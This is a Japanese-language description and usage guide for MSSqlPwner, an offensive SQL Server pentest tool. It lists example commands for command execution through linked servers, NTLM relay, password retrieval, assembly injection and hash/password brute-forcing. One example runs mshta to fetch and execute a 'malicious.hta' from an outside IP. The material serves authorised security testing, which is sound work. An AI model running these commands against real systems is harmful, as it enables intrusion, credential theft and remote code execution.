
リンクサーバーと複数の認証方法を介した横方向の移動、コマンド実行、NTLMリレー、ブルートフォース攻撃のための高度なMSSQL侵入テストツール。
MSSqlPwnerは、MSSQLサーバーにシームレスにインタラクトし、攻略するための高度で多用途なペンテスティングツールです。
このツールはimpacketに基づいており、攻撃者は平文パスワード、NTLMハッシュ、Kerberosチケットを使用してデータベースに認証できます。
MSSqlPwnerを使用すると、カスタムアセンブリ、xp_cmdshell、sp_oacreate(OLE Automation Procedures)などのさまざまな方法を通じてカスタムコマンドを実行できます。
このツールは、リンクサーバーと可能な権限借用の再帰的列挙から始まり、コマンド実行のためのすべての可能なチェーンを収集します。
また、MSSqlPwnerツールは、xp_dirtree、xp_subdirs、xp_fileexistなどの機能を利用したNTLMリレー機能にも使用できます。
このツールは、横方向移動の評価とリンクサーバーの探索に使用できます。
認証されたMSSQLユーザーが特定の操作を実行する権限を持っていない場合でも、ツールはコマンド実行を可能にする適切なチェーンを見つけることができます。 例えば、ユーザーが現在のコンテキストでコマンドを実行できない場合、ツールはリンクサーバーを使用し、昇格された権限でサーバーに接続して戻るチェーンを構築します。
mssqlpwnerの始め方はとても簡単です。リポジトリから直接インストールできます:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
または、pipxを使用することをお勧めします。以下のコマンドを実行してください:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
そして、新しくお気に入りのツールを使えます:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
このツールは複数の認証方法をサポートしており、以下で説明します。
このツールはセキュリティ専門家や研究者がテスト目的でのみ使用するために設計されており、違法な目的で使用すべきではありません。
interactive: インタラクティブモードでツールをライブ実行できるようにします。enumerate: リンクサーバーとチェーンを列挙します。get-chain-list: チェーンの一覧を取得します。
-filter-hostname HOSTNAME - 特定のホスト名で結果をフィルタリングします。get-link-server-list: リンクサーバーの一覧を取得します。set-chain: チェーンIDを設定します(インタラクティブモードのみ)
CHAIN - 設定するチェーンID。set-link-server: リンクサーバーを設定します(インタラクティブモードのみ)
LINK - 設定するリンクサーバー。get-rev2self-queries: SELFに戻るためのクエリを取得します(インタラクティブモードのみ)。get-adsi-provider-list: ADSIプロバイダーの一覧を取得します。rev2self: SELFに戻ります(インタラクティブモードのみ)。exec: ローカルサーバーまたはリンクサーバー上でexecを使用してコマンドを実行します。
COMMAND - 実行するコマンド。-command_execution_method - 使用するコマンド実行方法。
xp_cmdshell - xp_cmdshellプロシージャを使用してコマンドを実行します(デフォルト)。sp_oacreate - Ole Automation Procedureプロシージャを使用してコマンドを実行します("cmd /c something"のように使用する必要があります)。retrieve-password: ADSIプロバイダーからのパスワード取得。
-listen-port - リッスンするポート(デフォルト: 1389)。-adsi-provider - 使用するADSIプロバイダー(未定義の場合は自動選択)。-arch - 使用するアーキテクチャ(未定義の場合は自動選択)。
x86 - x86アーキテクチャを使用。x64 - x64アーキテクチャを使用。ntlm-relay - サーバーへのNTLMリレーを強制します。
SMB_SERVER - リレー先のSMBサーバー。-relay-method - 使用するリレー方法。
xp_dirtree - xp_dirtreeプロシージャを使用(デフォルト)。xp_subdirs - xp_subdirsプロシージャを使用。xp_fileexist - xp_fileexistプロシージャを使用(一部の状況では、このモジュールは特権チェーンから実行する必要があります)。custom-asm - カスタムアセンブリを使用してプロシージャを実行します。
COMMAND - 使用するコマンド/パスまたはクエリ。-procedure-name - 使用するプロシージャ名(デフォルト: execute_command)。
execute_command - カスタムアセンブリを使用してコマンドを実行(デフォルト)。run_query - カスタムアセンブリを使用してクエリを実行。run_query_system_service - システムユーザー(SqlSVCなど)としてカスタムアセンブリを使用してクエリを実行。inject-custom-asm - カスタムアセンブリを使用してコードを注入します。
file_location - 注入するファイルの場所。-procedure-name - 使用するプロシージャ名(デフォルト: Inject)。direct-query 直接クエリを実行します。QUERY - 実行するクエリ。-query-method - 使用するクエリ方法。
OpenQuery - OpenQueryプロシージャを使用(デフォルト)。exec_at - exec ATプロシージャを使用。brute ブルートフォースを実行します(チケット、ハッシュ、パスワードを受け取れます)。TARGETS_FILE - ブルートフォース対象のホストとIPが含まれるファイル。-ul - ブルートフォース対象のユーザーが含まれるファイル。-pl - ブルートフォース対象のパスワードが含まれるファイル。-tl - ブルートフォース対象のチケットが含まれるファイル。-hl - ブルートフォース対象のハッシュが含まれるファイル。-link-name - 使用するリンクサーバー名-chain-id - 使用するチェーンID-max-link-depth - 使用する最大リンク深度(デフォルト: 10)-max-impersonation-depth - 使用する最大権限借用深度(デフォルト: 10)-auto-yes - すべての質問に自動的に「はい」と答える(デフォルト: False)-timeout - 使用するタイムアウト(デフォルト: 30)MSSqlPwnerは、横方向移動の評価とリンクサーバーの探索の機会を提供します。 現在のセッションに管理者権限がないシナリオでは、ツールはリンクサーバーを介して自身の権限を昇格させるチェーンを見つけようとします。 リンクサーバー上のセッションがより高い権限を持っている場合、ツールはそのリンクサーバーと対話し、昇格された権限でホストにリンククエリを返すことで、ターゲットサーバーへの横方向移動を可能にします。
複数の認証方法をサポートしており、以下が含まれます:
このツールは、さまざまなシナリオや環境に適応し、認証メカニズムの有効性を検証します。
MSSqlPwnerのパワーと多用途性を活用して、MSSQL環境の評価を次のレベルに引き上げましょう。 横方向移動、ステルスクエリ、正確なセキュリティ評価のための新たな可能性を、このMSSqlPwnerツールで発見してください。
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt